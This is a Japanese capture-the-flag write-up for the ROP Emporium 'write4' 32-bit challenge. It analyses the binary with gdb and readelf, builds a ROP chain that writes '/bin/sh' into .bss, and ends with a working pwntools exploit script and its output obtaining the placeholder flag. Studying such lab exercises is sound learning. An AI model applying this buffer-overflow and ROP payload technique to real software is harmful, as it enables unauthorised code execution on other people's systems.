・問題リンク
ropemporium.com
まずstrings
コマンドで静的解析をする
$ strings write432
...
/bin/ls
...
プログラム内部でsystem()を呼び出していそうなことがわかる
$ gdb write432
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$ i func
All defined functions:
Non-debugging symbols:
0x080483c0 _init
0x08048400 printf@plt
0x08048410 fgets@plt
0x08048420 puts@plt
**0x08048430 system@plt**
0x08048440 __libc_start_main@plt
0x08048450 setvbuf@plt
0x08048460 memset@plt
0x08048470 __gmon_start__@plt
0x08048480 _start
0x080484b0 __x86.get_pc_thunk.bx
0x080484c0 deregister_tm_clones
0x080484f0 register_tm_clones
0x08048530 __do_global_dtors_aux
0x08048550 frame_dummy
0x0804857b main
0x080485f6 pwnme
0x0804864c usefulFunction
0x08048670 usefulGadgets
0x08048680 __libc_csu_init
0x080486e0 __libc_csu_fini
0x080486e4 _fini
gdb-peda$
partial RERLOなのでGOT Overwriteが可能であり、NX bitがonなのでshellcodeによるexploitはできない。
((0)~(2)と同様BoFによってEIPが奪えるなのでGot Overwriteの必要はないが...)
またpwnme、usefulFunction、usefulGadgetsをそれぞれディスアセンブルしてみる。
gdb-peda$ pdisas main
Dump of assembler code for function main:
0x0804857b <+0>: lea ecx,[esp+0x4]
0x0804857f <+4>: and esp,0xfffffff0
0x08048582 <+7>: push DWORD PTR [ecx-0x4]
0x08048585 <+10>: push ebp
0x08048586 <+11>: mov ebp,esp
0x08048588 <+13>: push ecx
0x08048589 <+14>: sub esp,0x4
0x0804858c <+17>: mov eax,ds:0x804a064
0x08048591 <+22>: push 0x0
0x08048593 <+24>: push 0x2
0x08048595 <+26>: push 0x0
0x08048597 <+28>: push eax
0x08048598 <+29>: call 0x8048450 <setvbuf@plt>
0x0804859d <+34>: add esp,0x10
0x080485a0 <+37>: mov eax,ds:0x804a040
0x080485a5 <+42>: push 0x0
0x080485a7 <+44>: push 0x2
0x080485a9 <+46>: push 0x0
0x080485ab <+48>: push eax
0x080485ac <+49>: call 0x8048450 <setvbuf@plt>
0x080485b1 <+54>: add esp,0x10
0x080485b4 <+57>: sub esp,0xc
0x080485b7 <+60>: push 0x8048700
0x080485bc <+65>: call 0x8048420 <puts@plt>
0x080485c1 <+70>: add esp,0x10
0x080485c4 <+73>: sub esp,0xc
0x080485c7 <+76>: push 0x8048717
0x080485cc <+81>: call 0x8048420 <puts@plt>
0x080485d1 <+86>: add esp,0x10
0x080485d4 <+89>: call 0x80485f6 <pwnme>
0x080485d9 <+94>: sub esp,0xc
0x080485dc <+97>: push 0x804871f
0x080485e1 <+102>: call 0x8048420 <puts@plt>
0x080485e6 <+107>: add esp,0x10
0x080485e9 <+110>: mov eax,0x0
0x080485ee <+115>: mov ecx,DWORD PTR [ebp-0x4]
0x080485f1 <+118>: leave
0x080485f2 <+119>: lea esp,[ecx-0x4]
0x080485f5 <+122>: ret
End of assembler dump.
gdb-peda$ pdisas pwnme
Dump of assembler code for function pwnme:
0x080485f6 <+0>: push ebp
0x080485f7 <+1>: mov ebp,esp
0x080485f9 <+3>: sub esp,0x28
0x080485fc <+6>: sub esp,0x4
0x080485ff <+9>: push 0x20
0x08048601 <+11>: push 0x0
0x08048603 <+13>: lea eax,[ebp-0x28]
0x08048606 <+16>: push eax
0x08048607 <+17>: call 0x8048460 <memset@plt>
0x0804860c <+22>: add esp,0x10
0x0804860f <+25>: sub esp,0xc
0x08048612 <+28>: push 0x8048728
0x08048617 <+33>: call 0x8048420 <puts@plt>
0x0804861c <+38>: add esp,0x10
0x0804861f <+41>: sub esp,0xc
0x08048622 <+44>: push 0x8048751
0x08048627 <+49>: call 0x8048400 <printf@plt>
0x0804862c <+54>: add esp,0x10
0x0804862f <+57>: mov eax,ds:0x804a060
0x08048634 <+62>: sub esp,0x4
0x08048637 <+65>: push eax
0x08048638 <+66>: push 0x200
0x0804863d <+71>: lea eax,[ebp-0x28]
0x08048640 <+74>: push eax
0x08048641 <+75>: call 0x8048410 <fgets@plt>
0x08048646 <+80>: add esp,0x10
0x08048649 <+83>: nop
0x0804864a <+84>: leave
0x0804864b <+85>: ret
End of assembler dump.
次にusefulFunctionを見る。
Dump of assembler code for function usefulFunction:
0x0804864c <+0>: push ebp
0x0804864d <+1>: mov ebp,esp
0x0804864f <+3>: sub esp,0x8
0x08048652 <+6>: sub esp,0xc
0x08048655 <+9>: push 0x8048754
0x0804865a <+14>: call 0x8048430 <system@plt>
0x0804865f <+19>: add esp,0x10
0x08048662 <+22>: nop
0x08048663 <+23>: leave
0x08048664 <+24>: ret
End of assembler dump.
gdb-peda$ x/s 0x8048754
0x8048754: "/bin/ls"
gdb-peda$
systemを呼び出しているが、その引数は/bin/ls
となっており、bashを起動するには一工夫必要そうだ。
gdb-peda$ pdisas usefulGadgets
Dump of assembler code for function usefulGadgets:
0x08048670 <+0>: mov DWORD PTR [edi],ebp
0x08048672 <+2>: ret
0x08048673 <+3>: xchg ax,ax
0x08048675 <+5>: xchg ax,ax
0x08048677 <+7>: xchg ax,ax
0x08048679 <+9>: xchg ax,ax
0x0804867b <+11>: xchg ax,ax
0x0804867d <+13>: xchg ax,ax
0x0804867f <+15>: nop
End of assembler dump.
gdb-peda$
usefulGadgetsのmov DWORD PTR [edi],ebp; ret
というガジェットが使えることがわかる。
これはediの指すメモリアドレスにebpの値をコピーする命令となっていて、これを使ってwritableなメモリ領域に/bin/sh
と書き込み、systemの引数としてbashの起動をすることを目指す。
そのためにはpop edi
pop ebp
などのstackからedi、ebpレジスタを操作する命令群がほしい。
これらをropgadget
コマンドで探してみる。
gdb-peda$ start
gdb-peda$ ropgadget
ret = 0x804819d
popret = 0x80483e1
pop2ret = 0x80486da
pop3ret = 0x80486d9
pop4ret = 0x80486d8
addesp_12 = 0x80483de
addesp_16 = 0x80484e5
gdb-peda$ x/3i 0x80486da
0x80486da <__libc_csu_init+90>: pop edi
0x80486db <__libc_csu_init+91>: pop ebp
0x80486dc <__libc_csu_init+92>: ret
gdb-peda$
ちょうどpop2retでedi、ebpに値をpopできるのでこれを使う。
以下のスタックの状態を考えてみる。
Low (↑stack growth) |
... |
pop edi;pop ebp;ret (=1番目の戻り先) |
書き込みたいアドレス (→edi) |
value (4bit) (→ebp) |
mov [edi],ebp;ret (=2番目の戻り先) |
3番目の戻り先 |
... |
High |
3番目の戻り先に再びpop edi;pop ebp;ret
を接続することで、任意のメモリアドレスに任意の値の書き込みが可能になる。
次に/bin/sh
を書き込むこむことができるセクションを探してみる。
$ readelf -S write432
There are 31 section headers, starting at offset 0x196c:
セクションヘッダ:
[番] 名前 タイプ アドレス Off サイズ ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048154 000154 000013 00 A 0 0 1
[ 2] .note.ABI-tag NOTE 08048168 000168 000020 00 A 0 0 4
[ 3] .note.gnu.build-i NOTE 08048188 000188 000024 00 A 0 0 4
[ 4] .gnu.hash GNU_HASH 080481ac 0001ac 000030 04 A 5 0 4
[ 5] .dynsym DYNSYM 080481dc 0001dc 0000d0 10 A 6 1 4
[ 6] .dynstr STRTAB 080482ac 0002ac 000081 00 A 0 0 1
[ 7] .gnu.version VERSYM 0804832e 00032e 00001a 02 A 5 0 2
[ 8] .gnu.version_r VERNEED 08048348 000348 000020 00 A 6 1 4
[ 9] .rel.dyn REL 08048368 000368 000020 08 A 5 0 4
[10] .rel.plt REL 08048388 000388 000038 08 AI 5 24 4
[11] .init PROGBITS 080483c0 0003c0 000023 00 AX 0 0 4
[12] .plt PROGBITS 080483f0 0003f0 000080 04 AX 0 0 16
[13] .plt.got PROGBITS 08048470 000470 000008 00 AX 0 0 8
[14] .text PROGBITS 08048480 000480 000262 00 AX 0 0 16
[15] .fini PROGBITS 080486e4 0006e4 000014 00 AX 0 0 4
[16] .rodata PROGBITS 080486f8 0006f8 000064 00 A 0 0 4
[17] .eh_frame_hdr PROGBITS 0804875c 00075c 00003c 00 A 0 0 4
[18] .eh_frame PROGBITS 08048798 000798 00010c 00 A 0 0 4
[19] .init_array INIT_ARRAY 08049f08 000f08 000004 00 WA 0 0 4
[20] .fini_array FINI_ARRAY 08049f0c 000f0c 000004 00 WA 0 0 4
[21] .jcr PROGBITS 08049f10 000f10 000004 00 WA 0 0 4
[22] .dynamic DYNAMIC 08049f14 000f14 0000e8 08 WA 6 0 4
[23] .got PROGBITS 08049ffc 000ffc 000004 04 WA 0 0 4
[24] .got.plt PROGBITS 0804a000 001000 000028 04 WA 0 0 4
[25] .data PROGBITS 0804a028 001028 000008 00 WA 0 0 4
[26] .bss NOBITS 0804a040 001030 00002c 00 WA 0 0 32
[27] .comment PROGBITS 00000000 001030 000034 01 MS 0 0 1
[28] .shstrtab STRTAB 00000000 001861 00010a 00 0 0 1
[29] .symtab SYMTAB 00000000 001064 000510 10 30 50 4
[30] .strtab STRTAB 00000000 001574 0002ed 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
$
Wの立っているところがwritableである。
今回は.bssセクションを使う。
最後にsystem関数の呼び出し直前のスタックの状態を考える。
以下のようにすればsystemに引数を渡すことができる。
Low (↑stack growth) |
... |
system@pltのアドレス(=リターンアドレス) |
"AAAA" (=system()終了後のダミーの戻り先) |
0x0804a040("bin/sh"のアドレス、systemの第一引数) |
... |
High |
以上を踏まえてexploitコードは以下になる
from pwn import *
p=process('./write432')
system_plt=0x8048430
mov_edi_ebp=0x08048670
pop2ret=0x80486da
bss_addr=0x0804a040
payload=''
payload+='A'*44
payload+=p32(pop2ret)
payload+=p32(bss_addr)
payload+="/bin"
payload+=p32(mov_edi_ebp)
payload+=p32(pop2ret)
payload+=p32(bss_addr+4)
payload+="/sh\x00"
payload+=p32(mov_edi_ebp)
payload+=p32(system_plt)
payload+="junk"
payload+=p32(bss_addr)
p.sendline(payload)
p.interactive()
実行結果
$ python exploit.py
[+] Starting local process './write432': pid 10954
[*] Switching to interactive mode
write4 by ROP Emporium
32bits
Go ahead and give me the string already!
> $ cat flag.txt
ROPE{a_placeholder_32byte_flag!}
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './write432' stopped with exit code -11 (SIGSEGV) (pid 10954)
[*] Got EOF while sending in interactive
$
flagを入手することができた